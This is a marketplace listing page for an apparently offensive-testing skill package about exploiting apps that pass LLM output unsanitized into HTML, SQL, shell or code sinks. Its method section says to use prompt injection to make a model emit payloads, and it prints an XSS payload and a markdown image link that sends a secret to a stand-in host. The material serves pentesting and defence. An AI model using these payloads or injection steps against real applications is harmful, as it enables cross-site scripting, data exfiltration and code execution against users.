Skip to content
New

DeepSeek V4.1 Flash free for 7 days: 10M tokens a day after a top-up of $10 or more. Until Nov 30.

How it works
noorqureshi/ai-insecure-output-handlingAI, agents and MCP

ai-insecure-output-handling

⁨Exploit apps that trust LLM output — pass model text unsanitized into XSS sinks, SQL, shell, code, or downstream calls. Load when LLM output is rendered as HTML/markdown, executed, or fed to another system. Signals: chatbot output shown with innerHTML/dangerouslySetInnerHTML, "run this code", LLM-ge⁩

v2026.10.14-ee0e0c53 installs+3 in 7 days27 StarsMITsynced 22 hours ago

Install

No NotHoly CLI yet? Install it first.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install noorqureshi/ai-insecure-output-handling

Writes to ⁦~/.notholy/skills⁩ after checking the signature and the SHA-256.

SignatureSigned, ed25519
SFQ7oMyxvD…USe1HRDg==The CLI checks the SHA-256 and the signature before it writes a file.
Package4c2fec1e…41b78dbf
4c2fec1e08e0…629241b78dbf1 file · ⁦1.5 KB⁩
ScanLow1 finding
  • Links to outside domains
See the full scan
Sourcegithub.com/NoorQureshi/security-skills/tree/main/skills/ai-ml/ai-insecure-output-handling@ee0e0c5

When it applies

The app treats LLM output as trusted and passes it into a dangerous sink — rendered as HTML, executed as code/SQL/shell, or forwarded to another API. The model becomes an injection vector, especially when its input is attacker-influenced (→ chain with ai-prompt-injection).

Why it works

Developers trust their own model's output, but it's just text — and an attacker can steer it via prompt injection. If that text lands in innerHTML, eval, a SQL string, a shell command, or a system call without sanitization, you get XSS/RCE/SQLi through the LLM.

Method

  1. Find the sink: where does model output go? HTML render (innerHTML, markdown→HTML, dangerouslySetInnerHTML), code exec (eval, code interpreter), DB (LLM-built query), shell, or another service call.
  2. Get the model to emit a payload: via direct or indirect prompt injection, make the output contain <img src=x onerror=alert(document.domain)>, a javascript: link, SQL, or a command.
  3. Route to impact:
    • Rendered output → stored/reflected XSS (fires for the user or others viewing the chat).
    • Code-interpreter/tool → RCE (→ ai-agent-tool-abuse).
    • LLM-generated SQL/commands executed → SQLi / command injection.
  4. Markdown exfil: model emits ![x](https://collab/?d=<secret>) → beacons data on render.

Gotchas

  • The bug is in the app's handling, not the model — the fix is output encoding/sandboxing, same as any injection.
  • Stored XSS via chat history hits every viewer — high impact, easy to miss.
  • Combine with prompt injection to reliably control the output; prove real execution, not just odd text.

Verify success

Model-produced content executes in a sink — XSS firing in the app's origin, code/command execution, or injected SQL — traceable to LLM output.

References

OWASP LLM Top 10 (2025) LLM05; PortSwigger "web LLM attacks"; markdown-exfil write-ups.

Files in this version

Permissions

PermissionDeclaredFound by the scan
Reads filesNoNo
Writes filesNoNo
Runs shell commandsNoNo
Uses the networkYesYes
Uses connectorsNoNo
Drives a browserNoNo

Scan findings

Reviewed on Nov 13, 2026

  1. InfoLink · Links to outside domains

A clean scan lowers the risk but does not prove a package is safe. Read what you install.

VersionPublishedCommitSHA-256SignaturePermission change
v2026.10.14-ee0e0c5Nov 13, 2026ee0e0c54c2fec1eSigned–

Ask anything your scope allows.

Create an account, add credits and ask the first question in the chat or the terminal.

  1. 1/3

    Create the account

    Individual or company. You can switch to a company later without losing balance or keys.

    IndividualCompany
  2. 2/3

    Add credits

    By card. Pay per token, no subscription.

    $5.00minimum deposit
  3. 3/3

    Ask

    In the chat, or install the CLI and run notholy login in your terminal.

    $ notholy login